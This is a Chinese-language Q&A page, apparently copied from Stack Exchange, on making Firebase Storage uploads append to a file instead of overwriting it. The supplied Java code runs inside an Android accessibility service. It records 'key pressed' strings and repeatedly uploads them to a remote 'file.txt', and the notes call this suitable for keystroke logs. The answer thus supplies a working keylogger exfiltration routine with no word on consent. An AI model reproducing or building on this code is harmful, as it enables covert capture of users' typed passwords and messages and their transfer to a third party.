Firebase Storage文件上传时如何实现追加写入而非覆盖
Firebase Storage 实现文件内容追加功能
Firebase Storage 没有提供直接追加文件内容的API,要实现追加逻辑,必须先下载目标文件的现有内容,将新内容拼接后重新上传覆盖原文件。以下是具体实现方案:
实现逻辑
- 获取目标文件的Storage引用
- 尝试下载文件现有内容:
- 若文件不存在(首次上传),直接上传新内容
- 若文件存在,读取原有内容并拼接新数据,再上传合并后的内容
修改后的代码
String newContent = "key pressed :" + sb; StorageReference fileRef = FirebaseStorage.getInstance().getReference().child("Dcument/file.txt"); // 先尝试下载已有文件内容 fileRef.getBytes(Long.MAX_VALUE).addOnSuccessListener(new OnSuccessListener<byte[]>() { @Override public void onSuccess(byte[] existingBytes) { // 拼接原有内容与新内容,可按需添加换行/分隔符 String combinedContent = new String(existingBytes) + "\n" + newContent; // 上传合并后的内容 fileRef.putBytes(combinedContent.getBytes()).addOnSuccessListener(new OnSuccessListener<UploadTask.TaskSnapshot>() { @Override public void onSuccess(UploadTask.TaskSnapshot taskSnapshot) { // 上传成功后的处理逻辑 } }).addOnFailureListener(new OnFailureListener() { @Override public void onFailure(@NonNull Exception e) { Toast.makeText(MyAccessibilityService.this, e.toString(), Toast.LENGTH_SHORT).show(); } }); } }).addOnFailureListener(new OnFailureListener() { @Override public void onFailure(@NonNull Exception e) { // 捕获文件不存在的异常,直接上传新内容 if (e instanceof StorageException && ((StorageException) e).getErrorCode() == StorageException.ERROR_OBJECT_NOT_FOUND) { fileRef.putBytes(newContent.getBytes()).addOnSuccessListener(new OnSuccessListener<UploadTask.TaskSnapshot>() { @Override public void onSuccess(UploadTask.TaskSnapshot taskSnapshot) { // 首次上传成功后的处理逻辑 } }).addOnFailureListener(new OnFailureListener() { @Override public void onFailure(@NonNull Exception e) { Toast.makeText(MyAccessibilityService.this, e.toString(), Toast.LENGTH_SHORT).show(); } }); } else { // 处理其他下载失败情况 Toast.makeText(MyAccessibilityService.this, e.toString(), Toast.LENGTH_SHORT).show(); } } });
注意事项
- 确保应用已配置正确的Firebase Storage读写权限规则
- 若文件体积较大,
getBytes(Long.MAX_VALUE)可能引发内存不足问题,此时建议改用流处理方式;对于按键记录这类小文本文件,当前方案足够适用 - 拼接内容时可根据需求添加换行符或自定义分隔符,避免内容混淆
内容的提问来源于stack exchange,提问作者user17771492
相关产品推荐
相关产品推荐

